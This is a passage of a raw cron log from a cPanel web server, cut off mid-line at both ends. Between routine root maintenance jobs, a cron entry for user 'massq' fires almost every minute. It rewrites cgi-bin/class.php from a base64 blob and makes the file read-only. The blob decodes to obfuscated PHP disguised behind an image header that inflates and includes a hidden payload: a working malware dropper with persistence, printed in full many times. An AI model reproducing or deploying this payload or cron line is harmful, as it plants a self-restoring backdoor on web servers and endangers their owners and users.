"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:53:01 server CROND[5144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:54:01 server CROND[5175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:55:01 server CROND[5217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 19:55:01 server CROND[5218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 19:55:01 server CROND[5219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:56:01 server CROND[5315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:57:01 server CROND[5470]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 19:57:01 server CROND[5471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:58:01 server CROND[5524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 19:59:01 server CROND[5573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:00:01 server CROND[5636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 20:00:01 server CROND[5638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:00:01 server CROND[5639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:00:01 server CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 20:00:01 server CROND[5640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:01:01 server CROND[5755]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 20:01:01 server CROND[5754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:01:01 server run-parts(/etc/cron.hourly)[5755]: starting 0anacron
Apr 11 20:01:01 server run-parts(/etc/cron.hourly)[5767]: finished 0anacron
Apr 11 20:02:01 server CROND[5911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:03:01 server CROND[5961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:04:01 server CROND[6014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:05:01 server CROND[6066]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 20:05:01 server CROND[6067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:05:01 server CROND[6068]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 20:05:01 server CROND[6069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:05:01 server CROND[6072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU